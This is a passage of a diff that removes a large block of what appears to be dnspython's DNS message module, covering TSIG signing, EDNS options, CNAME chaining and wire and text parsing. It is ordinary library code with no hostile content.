self.flags, max_size, origin) - opt_reserve = self._compute_opt_reserve() - r.reserve(opt_reserve) - tsig_reserve = self._compute_tsig_reserve() - r.reserve(tsig_reserve) - try: - for rrset in self.question: - r.add_question(rrset.name, rrset.rdtype, rrset.rdclass) - for rrset in self.answer: - r.add_rrset(dns.renderer.ANSWER, rrset, **kw) - for rrset in self.authority: - r.add_rrset(dns.renderer.AUTHORITY, rrset, **kw) - for rrset in self.additional: - r.add_rrset(dns.renderer.ADDITIONAL, rrset, **kw) - except dns.exception.TooBig: - if prefer_truncation: - if r.section < dns.renderer.ADDITIONAL: - r.flags |= dns.flags.TC - else: - raise - r.release_reserved() - if self.opt is not None: - r.add_opt(self.opt, self.pad, opt_reserve, tsig_reserve) - r.write_header() - if self.tsig is not None: - if self.want_tsig_sign: - (new_tsig, ctx) = dns.tsig.sign( - r.get_wire(), - self.keyring, - self.tsig[0], - int(time.time()), - self.request_mac, - tsig_ctx, - multi, - ) - self.tsig.clear() - self.tsig.add(new_tsig) - if multi: - self.tsig_ctx = ctx - r.add_rrset(dns.renderer.ADDITIONAL, self.tsig) - r.write_header() - wire = r.get_wire() - self.wire = wire - if prepend_length: - wire = len(wire).to_bytes(2, "big") + wire - return wire - - @staticmethod - def _make_tsig( - keyname, algorithm, time_signed, fudge, mac, original_id, error, other - ): - tsig = dns.rdtypes.ANY.TSIG.TSIG( - dns.rdataclass.ANY, - dns.rdatatype.TSIG, - algorithm, - time_signed, - fudge, - mac, - original_id, - error, - other, - ) - return dns.rrset.from_rdata(keyname, 0, tsig) - - def use_tsig( - self, - keyring: Any, - keyname: dns.name.Name | str | None = None, - fudge: int = 300, - original_id: int | None = None, - tsig_error: int = 0, - other_data: bytes = b"", - algorithm: dns.name.Name | str = dns.tsig.default_algorithm, - ) -> None: - """When sending, a TSIG signature using the specified key - should be added. - - *keyring*, a ``dict``, ``callable`` or ``dns.tsig.Key``, is either - the TSIG keyring or key to use. - - The format of a keyring dict is a mapping from TSIG key name, as - ``dns.name.Name`` to ``dns.tsig.Key`` or a TSIG secret, a ``bytes``. - If a ``dict`` *keyring* is specified but a *keyname* is not, the key - used will be the first key in the *keyring*. Note that the order of - keys in a dictionary is not defined, so applications should supply a - keyname when a ``dict`` keyring is used, unless they know the keyring - contains only one key. If a ``callable`` keyring is specified, the - callable will be called with the message and the keyname, and is - expected to return a key. - - *keyname*, a ``dns.name.Name``, ``str`` or ``None``, the name of - this TSIG key to use; defaults to ``None``. If *keyring* is a - ``dict``, the key must be defined in it. If *keyring* is a - ``dns.tsig.Key``, this is ignored. - - *fudge*, an ``int``, the TSIG time fudge. - - *original_id*, an ``int``, the TSIG original id. If ``None``, - the message's id is used. - - *tsig_error*, an ``int``, the TSIG error code. - - *other_data*, a ``bytes``, the TSIG other data. - - *algorithm*, a ``dns.name.Name`` or ``str``, the TSIG algorithm to use. This is - only used if *keyring* is a ``dict``, and the key entry is a ``bytes``. - """ - - if isinstance(keyring, dns.tsig.Key): - key = keyring - keyname = key.name - elif callable(keyring): - key = keyring(self, keyname) - else: - if isinstance(keyname, str): - keyname = dns.name.from_text(keyname) - if keyname is None: - keyname = next(iter(keyring)) - key = keyring[keyname] - if isinstance(key, bytes): - key = dns.tsig.Key(keyname, key, algorithm) - self.keyring = key - if original_id is None: - original_id = self.id - self.tsig = self._make_tsig( - keyname, - self.keyring.algorithm, - 0, - fudge, - b"\x00" * dns.tsig.mac_sizes[self.keyring.algorithm], - original_id, - tsig_error, - other_data, - ) - self.want_tsig_sign = True - - @property - def keyname(self) -> dns.name.Name | None: - if self.tsig: - return self.tsig.name - else: - return None - - @property - def keyalgorithm(self) -> dns.name.Name | None: - if self.tsig: - rdata = cast(dns.rdtypes.ANY.TSIG.TSIG, self.tsig[0]) - return rdata.algorithm - else: - return None - - @property - def mac(self) -> bytes | None: - if self.tsig: - rdata = cast(dns.rdtypes.ANY.TSIG.TSIG, self.tsig[0]) - return rdata.mac - else: - return None - - @property - def tsig_error(self) -> int | None: - if self.tsig: - rdata = cast(dns.rdtypes.ANY.TSIG.TSIG, self.tsig[0]) - return rdata.error - else: - return None - - @property - def had_tsig(self) -> bool: - return bool(self.tsig) - - @staticmethod - def _make_opt(flags=0, payload=DEFAULT_EDNS_PAYLOAD, options=None): - opt = dns.rdtypes.ANY.OPT.OPT(payload, dns.rdatatype.OPT, options or ()) - return dns.rrset.from_rdata(dns.name.root, int(flags), opt) - - def use_edns( - self, - edns: int | bool | None = 0, - ednsflags: int = 0, - payload: int = DEFAULT_EDNS_PAYLOAD, - request_payload: int | None = None, - options: List[dns.edns.Option] | None = None, - pad: int = 0, - ) -> None: - """Configure EDNS behavior. - - *edns*, an ``int``, is the EDNS level to use. Specifying ``None``, ``False``, - or ``-1`` means "do not use EDNS", and in this case the other parameters are - ignored. Specifying ``True`` is equivalent to specifying 0, i.e. "use EDNS0". - - *ednsflags*, an ``int``, the EDNS flag values. - - *payload*, an ``int``, is the EDNS sender's payload field, which is the maximum - size of UDP datagram the sender can handle. I.e. how big a response to this - message can be. - - *request_payload*, an ``int``, is the EDNS payload size to use when sending this - message. If not specified, defaults to the value of *payload*. - - *options*, a list of ``dns.edns.Option`` objects or ``None``, the EDNS options. - - *pad*, a non-negative ``int``. If 0, the default, do not pad; otherwise add - padding bytes to make the message size a multiple of *pad*. Note that if - padding is non-zero, an EDNS PADDING option will always be added to the - message. - """ - - if edns is None or edns is False: - edns = -1 - elif edns is True: - edns = 0 - if edns < 0: - self.opt = None - self.request_payload = 0 - else: - # make sure the EDNS version in ednsflags agrees with edns - ednsflags &= 0xFF00FFFF - ednsflags |= edns << 16 - if options is None: - options = [] - self.opt = self._make_opt(ednsflags, payload, options) - if request_payload is None: - request_payload = payload - self.request_payload = request_payload - if pad < 0: - raise ValueError("pad must be non-negative") - self.pad = pad - - @property - def edns(self) -> int: - if self.opt: - return (self.ednsflags & 0xFF0000) >> 16 - else: - return -1 - - @property - def ednsflags(self) -> int: - if self.opt: - return self.opt.ttl - else: - return 0 - - @ednsflags.setter - def ednsflags(self, v): - if self.opt: - self.opt.ttl = v - elif v: - self.opt = self._make_opt(v) - - @property - def payload(self) -> int: - if self.opt: - rdata = cast(dns.rdtypes.ANY.OPT.OPT, self.opt[0]) - return rdata.payload - else: - return 0 - - @property - def options(self) -> Tuple: - if self.opt: - rdata = cast(dns.rdtypes.ANY.OPT.OPT, self.opt[0]) - return rdata.options - else: - return () - - def want_dnssec(self, wanted: bool = True) -> None: - """Enable or disable 'DNSSEC desired' flag in requests. - - *wanted*, a ``bool``. If ``True``, then DNSSEC data is - desired in the response, EDNS is enabled if required, and then - the DO bit is set. If ``False``, the DO bit is cleared if - EDNS is enabled. - """ - - if wanted: - self.ednsflags |= dns.flags.DO - elif self.opt: - self.ednsflags &= ~int(dns.flags.DO) - - def rcode(self) -> dns.rcode.Rcode: - """Return the rcode. - - Returns a ``dns.rcode.Rcode``. - """ - return dns.rcode.from_flags(int(self.flags), int(self.ednsflags)) - - def set_rcode(self, rcode: dns.rcode.Rcode) -> None: - """Set the rcode. - - *rcode*, a ``dns.rcode.Rcode``, is the rcode to set. - """ - (value, evalue) = dns.rcode.to_flags(rcode) - self.flags &= 0xFFF0 - self.flags |= value - self.ednsflags &= 0x00FFFFFF - self.ednsflags |= evalue - - def opcode(self) -> dns.opcode.Opcode: - """Return the opcode. - - Returns a ``dns.opcode.Opcode``. - """ - return dns.opcode.from_flags(int(self.flags)) - - def set_opcode(self, opcode: dns.opcode.Opcode) -> None: - """Set the opcode. - - *opcode*, a ``dns.opcode.Opcode``, is the opcode to set. - """ - self.flags &= 0x87FF - self.flags |= dns.opcode.to_flags(opcode) - - def get_options(self, otype: dns.edns.OptionType) -> List[dns.edns.Option]: - """Return the list of options of the specified type.""" - return [option for option in self.options if option.otype == otype] - - def extended_errors(self) -> List[dns.edns.EDEOption]: - """Return the list of Extended DNS Error (EDE) options in the message""" - return cast(List[dns.edns.EDEOption], self.get_options(dns.edns.OptionType.EDE)) - - def _get_one_rr_per_rrset(self, value): - # What the caller picked is fine. - return value - - # pylint: disable=unused-argument - - def _parse_rr_header(self, section, name, rdclass, rdtype): - return (rdclass, rdtype, None, False) - - # pylint: enable=unused-argument - - def _parse_special_rr_header(self, section, count, position, name, rdclass, rdtype): - if rdtype == dns.rdatatype.OPT: - if ( - section != MessageSection.ADDITIONAL - or self.opt - or name != dns.name.root - ): - raise BadEDNS - elif rdtype == dns.rdatatype.TSIG: - if ( - section != MessageSection.ADDITIONAL - or rdclass != dns.rdatatype.ANY - or position != count - 1 - ): - raise BadTSIG - return (rdclass, rdtype, None, False) - - -class ChainingResult: - """The result of a call to dns.message.QueryMessage.resolve_chaining(). - - The ``answer`` attribute is the answer RRSet, or ``None`` if it doesn't - exist. - - The ``canonical_name`` attribute is the canonical name after all - chaining has been applied (this is the same name as ``rrset.name`` in cases - where rrset is not ``None``). - - The ``minimum_ttl`` attribute is the minimum TTL, i.e. the TTL to - use if caching the data. It is the smallest of all the CNAME TTLs - and either the answer TTL if it exists or the SOA TTL and SOA - minimum values for negative answers. - - The ``cnames`` attribute is a list of all the CNAME RRSets followed to - get to the canonical name. - """ - - def __init__( - self, - canonical_name: dns.name.Name, - answer: dns.rrset.RRset | None, - minimum_ttl: int, - cnames: List[dns.rrset.RRset], - ): - self.canonical_name = canonical_name - self.answer = answer - self.minimum_ttl = minimum_ttl - self.cnames = cnames - - -class QueryMessage(Message): - def resolve_chaining(self) -> ChainingResult: - """Follow the CNAME chain in the response to determine the answer - RRset. - - Raises ``dns.message.NotQueryResponse`` if the message is not - a response. - - Raises ``dns.message.ChainTooLong`` if the CNAME chain is too long. - - Raises ``dns.message.AnswerForNXDOMAIN`` if the rcode is NXDOMAIN - but an answer was found. - - Raises ``dns.exception.FormError`` if the question count is not 1. - - Returns a ChainingResult object. - """ - if self.flags & dns.flags.QR == 0: - raise NotQueryResponse - if len(self.question) != 1: - raise dns.exception.FormError - question = self.question[0] - qname = question.name - min_ttl = dns.ttl.MAX_TTL - answer = None - count = 0 - cnames = [] - while count < MAX_CHAIN: - try: - answer = self.find_rrset( - self.answer, qname, question.rdclass, question.rdtype - ) - min_ttl = min(min_ttl, answer.ttl) - break - except KeyError: - if question.rdtype != dns.rdatatype.CNAME: - try: - crrset = self.find_rrset( - self.answer, qname, question.rdclass, dns.rdatatype.CNAME - ) - cnames.append(crrset) - min_ttl = min(min_ttl, crrset.ttl) - for rd in crrset: - qname = rd.target - break - count += 1 - continue - except KeyError: - # Exit the chaining loop - break - else: - # Exit the chaining loop - break - if count >= MAX_CHAIN: - raise ChainTooLong - if self.rcode() == dns.rcode.NXDOMAIN and answer is not None: - raise AnswerForNXDOMAIN - if answer is None: - # Further minimize the TTL with NCACHE. - auname = qname - while True: - # Look for an SOA RR whose owner name is a superdomain - # of qname. - try: - srrset = self.find_rrset( - self.authority, auname, question.rdclass, dns.rdatatype.SOA - ) - srdata = cast(dns.rdtypes.ANY.SOA.SOA, srrset[0]) - min_ttl = min(min_ttl, srrset.ttl, srdata.minimum) - break - except KeyError: - try: - auname = auname.parent() - except dns.name.NoParent: - break - return ChainingResult(qname, answer, min_ttl, cnames) - - def canonical_name(self) -> dns.name.Name: - """Return the canonical name of the first name in the question - section. - - Raises ``dns.message.NotQueryResponse`` if the message is not - a response. - - Raises ``dns.message.ChainTooLong`` if the CNAME chain is too long. - - Raises ``dns.message.AnswerForNXDOMAIN`` if the rcode is NXDOMAIN - but an answer was found. - - Raises ``dns.exception.FormError`` if the question count is not 1. - """ - return self.resolve_chaining().canonical_name - - -def _maybe_import_update(): - # We avoid circular imports by doing this here. We do it in another - # function as doing it in _message_factory_from_opcode() makes "dns" - # a local symbol, and the first line fails :) - - # pylint: disable=redefined-outer-name,import-outside-toplevel,unused-import - import dns.update # noqa: F401 - - -def _message_factory_from_opcode(opcode): - if opcode == dns.opcode.QUERY: - return QueryMessage - elif opcode == dns.opcode.UPDATE: - _maybe_import_update() - return dns.update.UpdateMessage # pyright: ignore - else: - return Message - - -class _WireReader: - """Wire format reader. - - parser: the binary parser - message: The message object being built - initialize_message: Callback to set message parsing options - question_only: Are we only reading the question? - one_rr_per_rrset: Put each RR into its own RRset? - keyring: TSIG keyring - ignore_trailing: Ignore trailing junk at end of request? - multi: Is this message part of a multi-message sequence? - DNS dynamic updates. - continue_on_error: try to extract as much information as possible from - the message, accumulating MessageErrors in the *errors* attribute instead of - raising them. - """ - - def __init__( - self, - wire, - initialize_message, - question_only=False, - one_rr_per_rrset=False, - ignore_trailing=False, - keyring=None, - multi=False, - continue_on_error=False, - ): - self.parser = dns.wire.Parser(wire) - self.message = None - self.initialize_message = initialize_message - self.question_only = question_only - self.one_rr_per_rrset = one_rr_per_rrset - self.ignore_trailing = ignore_trailing - self.keyring = keyring - self.multi = multi - self.continue_on_error = continue_on_error - self.errors = [] - - def _get_question(self, section_number, qcount): - """Read the next *qcount* records from the wire data and add them to - the question section. - """ - assert self.message is not None - section = self.message.sections[section_number] - for _ in range(qcount): - qname = self.parser.get_name(self.message.origin) - (rdtype, rdclass) = self.parser.get_struct("!HH") - (rdclass, rdtype, _, _) = self.message._parse_rr_header( - section_number, qname, rdclass, rdtype - ) - self.message.find_rrset( - section, qname, rdclass, rdtype, create=True, force_unique=True - ) - - def _add_error(self, e): - self.errors.append(MessageError(e, self.parser.current)) - - def _get_section(self, section_number, count): - """Read the next I{count} records from the wire data and add them to - the specified section. - - section_number: the section of the message to which to add records - count: the number of records to read - """ - assert self.message is not None - section = self.message.sections[section_number] - force_unique = self.one_rr_per_rrset - for i in range(count): - rr_start = self.parser.current - absolute_name = self.parser.get_name() - if self.message.origin is not None: - name = absolute_name.relativize(self.message.origin) - else: - name = absolute_name - (rdtype, rdclass, ttl, rdlen) = self.parser.get_struct("!HHIH") - if rdtype in (dns.rdatatype.OPT, dns.rdatatype.TSIG): - ( - rdclass, - rdtype, - deleting, - empty, - ) = self.message._parse_special_rr_header( - section_number, count, i, name, rdclass, rdtype - ) - else: - (rdclass, rdtype, deleting, empty) = self.message._parse_rr_header( - section_number, name, rdclass, rdtype - ) - rdata_start = self.parser.current - try: - if empty: - if rdlen > 0: - raise dns.exception.FormError - rd = None - covers = dns.rdatatype.NONE - else: - with self.parser.restrict_to(rdlen): - rd = dns.rdata.from_wire_parser( - rdclass, # pyright: ignore - rdtype, - self.parser, - self.message.origin, - ) - covers = rd.covers() - if self.message.xfr and rdtype == dns.rdatatype.SOA: - force_unique = True - if rdtype == dns.rdatatype.OPT: - self.message.opt = dns.rrset.from_rdata(name, ttl, rd) - elif rdtype == dns.rdatatype.TSIG: - trd = cast(dns.rdtypes.ANY.TSIG.TSIG, rd) - if self.keyring is None or self.keyring is True: - raise UnknownTSIGKey("got signed message without keyring") - elif isinstance(self.keyring, dict): - key = self.keyring.get(absolute_name) - if isinstance(key, bytes): - key = dns.tsig.Key(absolute_name, key, trd.algorithm) - elif callable(self.keyring): - key = self.keyring(self.message, absolute_name) - else: - key = self.keyring - if key is None: - raise UnknownTSIGKey(f"key '{name}' unknown") - if key: - self.message.keyring = key - self.message.tsig_ctx = dns.tsig.validate( - self.parser.wire, - key, - absolute_name, - rd, - int(time.time()), - self.message.request_mac, - rr_start, - self.message.tsig_ctx, - self.multi, - ) - self.message.tsig = dns.rrset.from_rdata(absolute_name, 0, rd) - else: - rrset = self.message.find_rrset( - section, - name, - rdclass, # pyright: ignore - rdtype, - covers, - deleting, - True, - force_unique, - ) - if rd is not None: - if ttl > 0x7FFFFFFF: - ttl = 0 - rrset.add(rd, ttl) - except Exception as e: - if self.continue_on_error: - self._add_error(e) - self.parser.seek(rdata_start + rdlen) - else: - raise - - def read(self): - """Read a wire format DNS message and build a dns.message.Message - object.""" - - if self.parser.remaining() < 12: - raise ShortHeader - (id, flags, qcount, ancount, aucount, adcount) = self.parser.get_struct( - "!HHHHHH" - ) - factory = _message_factory_from_opcode(dns.opcode.from_flags(flags)) - self.message = factory(id=id) - self.message.flags = dns.flags.Flag(flags) - self.message.wire = self.parser.wire - self.initialize_message(self.message) - self.one_rr_per_rrset = self.message._get_one_rr_per_rrset( - self.one_rr_per_rrset - ) - try: - self._get_question(MessageSection.QUESTION, qcount) - if self.question_only: - return self.message - self._get_section(MessageSection.ANSWER, ancount) - self._get_section(MessageSection.AUTHORITY, aucount) - self._get_section(MessageSection.ADDITIONAL, adcount) - if not self.ignore_trailing and self.parser.remaining() != 0: - raise TrailingJunk - if self.multi and self.message.tsig_ctx and not self.message.had_tsig: - self.message.tsig_ctx.update(self.parser.wire) - except Exception as e: - if self.continue_on_error: - self._add_error(e) - else: - raise - return self.message - - -def from_wire( - wire: bytes, - keyring: Any | None = None, - request_mac: bytes | None = b"", - xfr: bool = False, - origin: dns.name.Name | None = None, - tsig_ctx: dns.tsig.HMACTSig | dns.tsig.GSSTSig | None = None, - multi: bool = False, - question_only: bool = False, - one_rr_per_rrset: bool = False, - ignore_trailing: bool = False, - raise_on_truncation: bool = False, - continue_on_error: bool = False, -) -> Message: - """Convert a DNS wire format message into a message object. - - *keyring*, a ``dns.tsig.Key``, ``dict``, ``bool``, or ``None``, the key or keyring - to use if the message is signed. If ``None`` or ``True``, then trying to decode - a message with a TSIG will fail as it cannot be validated. If ``False``, then - TSIG validation is disabled. - - *request_mac*, a ``bytes`` or ``None``. If the message is a response to a - TSIG-signed request, *request_mac* should be set to the MAC of that request. - - *xfr*, a ``bool``, should be set to ``True`` if this message is part of a zone - transfer. - - *origin*, a ``dns.name.Name`` or ``None``. If the message is part of a zone - transfer, *origin* should be the origin name of the zone. If not ``None``, names - will be relativized to the origin. - - *tsig_ctx*, a ``dns.tsig.HMACTSig`` or ``dns.tsig.GSSTSig`` object, the ongoing TSIG - context, used when validating zone transfers. - - *multi*, a ``bool``, should be set to ``True`` if this message is part of a multiple - message sequence. - - *question_only*, a ``bool``. If ``True``, read only up to the end of the question - section. - - *one_rr_per_rrset*, a ``bool``. If ``True``, put each RR into its own RRset. - - *ignore_trailing*, a ``bool``. If ``True``, ignore trailing junk at end of the - message. - - *raise_on_truncation*, a ``bool``. If ``True``, raise an exception if the TC bit is - set. - - *continue_on_error*, a ``bool``. If ``True``, try to continue parsing even if - errors occur. Erroneous rdata will be ignored. Errors will be accumulated as a - list of MessageError objects in the message's ``errors`` attribute. This option is - recommended only for DNS analysis tools, or for use in a server as part of an error - handling path. The default is ``False``. - - Raises ``dns.message.ShortHeader`` if the message is less than 12 octets long. - - Raises ``dns.message.TrailingJunk`` if there were octets in the message past the end - of the proper DNS message, and *ignore_trailing* is ``False``. - - Raises ``dns.message.BadEDNS`` if an OPT record was in the wrong section, or - occurred more than once. - - Raises ``dns.message.BadTSIG`` if a TSIG record was not the last record of the - additional data section. - - Raises ``dns.message.Truncated`` if the TC flag is set and *raise_on_truncation* is - ``True``. - - Returns a ``dns.message.Message``. - """ - - # We permit None for request_mac solely for backwards compatibility - if request_mac is None: - request_mac = b"" - - def initialize_message(message): - message.request_mac = request_mac - message.xfr = xfr - message.origin = origin - message.tsig_ctx = tsig_ctx - - reader = _WireReader( - wire, - initialize_message, - question_only, - one_rr_per_rrset, - ignore_trailing, - keyring, - multi, - continue_on_error, - ) - try: - m = reader.read() - except dns.exception.FormError: - if ( - reader.message - and (reader.message.flags & dns.flags.TC) - and raise_on_truncation - ): - raise Truncated(message=reader.message) - else: - raise - # Reading a truncated message might not have any errors, so we - # have to do this check here too. - if m.flags & dns.flags.TC and raise_on_truncation: - raise Truncated(message=m) - if continue_on_error: - m.errors = reader.errors - - return m - - -class _TextReader: - """Text format reader. - - tok: the tokenizer. - message: The message object being built. - DNS dynamic updates. - last_name: The most recently read name when building a message object. - one_rr_per_rrset: Put each RR into its own RRset? - origin: The origin for relative names - relativize: relativize names? - relativize_to: the origin to relativize to. - """ - - def __init__( - self, - text: str, - idna_codec: dns.name.IDNACodec | None, - one_rr_per_rrset: bool = False, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, - ): - self.message: Message | None = None # mypy: ignore - self.tok = dns.tokenizer.Tokenizer(text, idna_codec=idna_codec) - self.last_name = None - self.one_rr_per_rrset = one_rr_per_rrset - self.origin = origin - self.relativize = relativize - self.relativize_to = relativize_to - self.id = None - self.edns = -1 - self.ednsflags = 0 - self.payload = DEFAULT_EDNS_PAYLOAD - self.rcode = None - self.opcode = dns.opcode.QUERY - self.flags = 0 - - def _header_line(self, _): - """Process one line from the text format header section.""" - - token = self.tok.get() - what = token.value - if what == "id": - self.id = self.tok.get_int() - elif what == "flags": - while True: - token = self.tok.get() - if not token.is_identifier(): - self.tok.unget(token) - break - self.flags = self.flags | dns.flags.from_text(token.value) - elif what == "edns": - self.edns = self.tok.get_int() - self.ednsflags = self.ednsflags | (self.edns << 16) - elif what == "eflags": - if self.edns < 0: - self.edns = 0 - while True: - token = self.tok.get() - if not token.is_identifier(): - self.tok.unget(token) - break - self.ednsflags = self.ednsflags | dns.flags.edns_from_text(token.value) - elif what == "payload": - self.payload = self.tok.get_int() - if self.edns < 0: - self.edns = 0 - elif what == "opcode": - text = self.tok.get_string() - self.opcode = dns.opcode.from_text(text) - self.flags = self.flags | dns.opcode.to_flags(self.opcode) - elif what == "rcode": - text = self.tok.get_string() - self.rcode = dns.rcode.from_text(text) - else: - raise UnknownHeaderField - self.tok.get_eol() - - def _question_line(self, section_number): - """Process one line from the text format question section.""" - - assert self.message is not None - section = self.message.sections[section_number] - token = self.tok.get(want_leading=True) - if not token.is_whitespace(): - self.last_name = self.tok.as_name( - token, self.message.origin, self.relativize, self.relativize_to - ) - name = self.last_name - if name is None: - raise NoPreviousName - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - # Class - try: - rdclass = dns.rdataclass.from_text(token.value) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except dns.exception.SyntaxError: - raise dns.exception.SyntaxError - except Exception: - rdclass = dns.rdataclass.IN - # Type - rdtype = dns.rdatatype.from_text(token.value) - (rdclass, rdtype, _, _) = self.message._parse_rr_header( - section_number, name, rdclass, rdtype - ) - self.message.find_rrset( - section, name, rdclass, rdtype, create=True, force_unique=True - ) - self.tok.get_eol() - - def _rr_line(self, section_number): - """Process one line from the text format answer, authority, or - additional data sections. - """ - - assert self.message is not None - section = self.message.sections[section_number] - # Name - token = self.tok.get(want_leading=True) - if not token.is_whitespace(): - self.last_name = self.tok.as_name( - token, self.message.origin, self.relativize, self.relativize_to - ) - name = self.last_name - if name is None: - raise NoPreviousName - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - # TTL - try: - ttl = int(token.value, 0) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except dns.exception.SyntaxError: - raise dns.exception.SyntaxError - except Exception: - ttl = 0 - # Class - try: - rdclass = dns.rdataclass.from_text(token.value) - token = self.tok.get() - if not token.is_identifier(): - raise dns.exception.SyntaxError - except dns.exception.SyntaxError: - raise dns.exception.SyntaxError - except Exception: - rdclass = dns.rdataclass.IN - # Type - rdtype = dns.rdatatype.from_text(token.value) - (rdclass, rdtype, deleting, empty) = self.message._parse_rr_header( - section_number, name, rdclass, rdtype - ) - token = self.tok.get() - if empty and not token.is_eol_or_eof(): - raise dns.exception.SyntaxError - if not empty and token.is_eol_or_eof(): - raise dns.exception.UnexpectedEnd - if not token.is_eol_or_eof(): - self.tok.unget(token) - rd = dns.rdata.from_text( - rdclass, - rdtype, - self.tok, - self.message.origin, - self.relativize, - self.relativize_to, - ) - covers = rd.covers() - else: - rd = None - covers = dns.rdatatype.NONE - rrset = self.message.find_rrset( - section, - name, - rdclass, - rdtype, - covers, - deleting, - True, - self.one_rr_per_rrset, - ) - if rd is not None: - rrset.add(rd, ttl) - - def _make_message(self): - factory = _message_factory_from_opcode(self.opcode) - message = factory(id=self.id) - message.flags = self.flags - if self.edns >= 0: - message.use_edns(self.edns, self.ednsflags, self.payload) - if self.rcode: - message.set_rcode(self.rcode) - if self.origin: - message.origin = self.origin - return message - - def read(self): - """Read a text format DNS message and build a dns.message.Message - object.""" - - line_method = self._header_line - section_number = None - while 1: - token = self.tok.get(True, True) - if token.is_eol_or_eof(): - break - if token.is_comment(): - u = token.value.upper() - if u == "HEADER": - line_method = self._header_line - - if self.message: - message = self.message - else: - # If we don't have a message, create one with the current - # opcode, so that we know which section names to parse. - message = self._make_message() - try: - section_number = message._section_enum.from_text(u) - # We found a section name. If we don't have a message, - # use the one we just created. - if not self.message: - self.message = message - self.one_rr_per_rrset = message._get_one_rr_per_rrset( - self.one_rr_per_rrset - ) - if section_number == MessageSection.QUESTION: - line_method = self._question_line - else: - line_method = self._rr_line - except Exception: - # It's just a comment. - pass - self.tok.get_eol() - continue - self.tok.unget(token) - line_method(section_number) - if not self.message: - self.message = self._make_message() - return self.message - - -def from_text( - text: str, - idna_codec: dns.name.IDNACodec | None = None, - one_rr_per_rrset: bool = False, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, -) -> Message: - """Convert the text format message into a message object. - - The reader stops after reading the first blank line in the input to - facilitate reading multiple messages from a single file with - ``dns.message.from_file()``. - - *text*, a ``str``, the text format message. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - *one_rr_per_rrset*, a ``bool``. If ``True``, then each RR is put - into its own rrset. The default is ``False``. - - *origin*, a ``dns.name.Name`` (or ``None``), the - origin to use for relative names. - - *relativize*, a ``bool``. If true, name will be relativized. - - *relativize_to*, a ``dns.name.Name`` (or ``None``), the origin to use - when relativizing names. If not set, the *origin* value will be used. - - Raises ``dns.message.UnknownHeaderField`` if a header is unknown. - - Raises ``dns.exception.SyntaxError`` if the text is badly formed. - - Returns a ``dns.message.Message object`` - """ - - # 'text' can also be a file, but we don't publish that fact - # since it's an implementation detail. The official file - # interface is from_file(). - - reader = _TextReader( - text, idna_codec, one_rr_per_rrset, origin, relativize, relativize_to - ) - return reader.read() - - -def from_file( - f: Any, - idna_codec: dns.name.IDNACodec | None = None, - one_rr_per_rrset: bool = False, -) -> Message: - """Read the next text format message from the specified file. - - Message blocks are separated by a single blank line. - - *f*, a ``file`` or ``str``. If *f* is text, it is treated as the - pathname of a file to open. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - *one_rr_per_rrset*, a ``bool``. If ``True``, then each RR is put - into its own rrset. The default is ``False``. - - Raises ``dns.message.UnknownHeaderField`` if a header is unknown. - - Raises ``dns.exception.SyntaxError`` if the text is badly formed. - - Returns a ``dns.message.Message object`` - """ - - if isinstance(f, str): - cm: contextlib.AbstractContextManager = open(f, encoding="utf-8") - else: - cm = contextlib.nullcontext(f) - with cm as f: - return from_text(f, idna_codec, one_rr_per_rrset) - assert False # for mypy lgtm[py/unreachable-statement] - - -def make_query( - qname: dns.name.Name | str, - rdtype: dns.rdatatype.RdataType | str, - rdclass: dns.rdataclass.RdataClass | str = dns.rdataclass.IN, - use_edns: int | bool | None = None, - want_dnssec: bool = False, - ednsflags: int | None = None, - payload: int | None = None, - request_payload: int | None = None, - options: List[dns.edns.Option] | None = None, - idna_codec: dns.name.IDNACodec | None = None, - id: int | None = None, - flags: int = dns.flags.RD, - pad: int = 0, -) -> QueryMessage: - """Make a query message. - - The query name, type, and class may all be specified either - as objects of the appropriate type, or as strings. - - The query will have a randomly chosen query id, and its DNS flags - will be set to dns.flags.RD. - - qname, a ``dns.name.Name`` or ``str``, the query name. - - *rdtype*, an ``int`` or ``str``, the desired rdata type. - - *rdclass*, an ``int`` or ``str``, the desired rdata class; the default - is class IN. - - *use_edns*, an ``int``, ``bool`` or ``None``. The EDNS level to use; the - default is ``None``. If ``None``, EDNS will be enabled only if other - parameters (*ednsflags*, *payload*, *request_payload*, or *options*) are - set. - See the description of dns.message.Message.use_edns() for the possible - values for use_edns and their meanings. - - *want_dnssec*, a ``bool``. If ``True``, DNSSEC data is desired. - - *ednsflags*, an ``int``, the EDNS flag values. - - *payload*, an ``int``, is the EDNS sender's payload field, which is the - maximum size of UDP datagram the sender can handle. I.e. how big - a response to this message can be. - - *request_payload*, an ``int``, is the EDNS payload size to use when - sending this message. If not specified, defaults to the value of - *payload*. - - *options*, a list of ``dns.edns.Option`` objects or ``None``, the EDNS - options. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder. If ``None``, the default IDNA 2003 encoder/decoder - is used. - - *id*, an ``int`` or ``None``, the desired query id. The default is - ``None``, which generates a random query id. - - *flags*, an ``int``, the desired query flags. The default is - ``dns.flags.RD``. - - *pad*, a non-negative ``int``. If 0, the default, do not pad; otherwise add - padding bytes to make the message size a multiple of *pad*. Note that if - padding is non-zero, an EDNS PADDING option will always be added to the - message. - - Returns a ``dns.message.QueryMessage`` - """ - - if isinstance(qname, str): - qname = dns.name.from_text(qname, idna_codec=idna_codec) - rdtype = dns.rdatatype.RdataType.make(rdtype) - rdclass = dns.rdataclass.RdataClass.make(rdclass) - m = QueryMessage(id=id) - m.flags = dns.flags.Flag(flags) - m.find_rrset(m.question, qname, rdclass, rdtype, create=True, force_unique=True) - # only pass keywords on to use_edns if they have been set to a - # non-None value. Setting a field will turn EDNS on if it hasn't - # been configured. - kwargs: Dict[str, Any] = {} - if ednsflags is not None: - kwargs["ednsflags"] = ednsflags - if payload is not None: - kwargs["payload"] = payload - if request_payload is not None: - kwargs["request_payload"] = request_payload - if options is not None: - kwargs["options"] = options - if kwargs and use_edns is None: - use_edns = 0 - kwargs["edns"] = use_edns - kwargs["pad"] = pad - 